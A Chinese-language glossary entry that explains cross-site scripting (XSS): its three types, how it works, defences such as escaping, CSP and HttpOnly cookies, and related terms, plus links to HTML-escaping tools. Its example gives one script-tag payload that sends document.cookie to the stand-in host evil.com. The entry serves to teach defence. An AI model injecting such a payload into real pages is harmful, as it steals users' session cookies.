XSS

XSS（跨站脚本）是攻击者将恶意脚本注入网页，在其他用户浏览器中执行的漏洞，分为存储型、反射型与 DOM 型。

用途

防御恶意脚本在受信任页面上下文中执行，保护用户会话与数据。

机制

攻击者将 <script> 注入页面（存储型经数据库、反射型经 URL 参数、DOM 型经客户端 DOM 操作）。脚本在受害者浏览器中以其会话权限执行，可窃取 cookie、发起请求或篡改页面。防御：输出转义、CSP、HttpOnly cookie。

用例

用户输入未转义直接渲染
评论与富文本注入
URL 参数反射到页面
第三方脚本注入

示例

输入

<script>fetch("evil.com?c="+document.cookie)</script>

输出

Steals the user cookies

Stored XSS

常见错误

Escaping only < > while missing quotes in attribute contexts: Escape per context: HTML/attribute/JS/URL

相关词条

CSRF（跨站请求伪造）是攻击者诱导已登录用户在不知情下向目标站点发送恶意请求的漏洞。

CSP（内容安全策略）用 HTTP 头声明允许加载的资源源，限制 XSS 与数据注入的攻击面。

HTML 实体是将 HTML 中有特殊含义的字符（<、>、&、"）转义为 &name; 或 &#NNN; 形式，以字面量显示而非被解析为标记。

SQL 注入是攻击者将恶意 SQL 片段拼入查询字符串，使数据库执行非预期命令的漏洞。

相关工具

在线转义或反转义 HTML 特殊字符。免费、隐私本地化、100% 客户端运行。将 & < > " ' 转义为 HTML 实体（& < > " '），防止 XSS 和 HTML 结构破坏，适合用户输入嵌入、模板渲染和代码展示场景。

HTML 实体编码器

将文本编码为 HTML 实体。免费、隐私优先、100% 纯客户端运行。

参考链接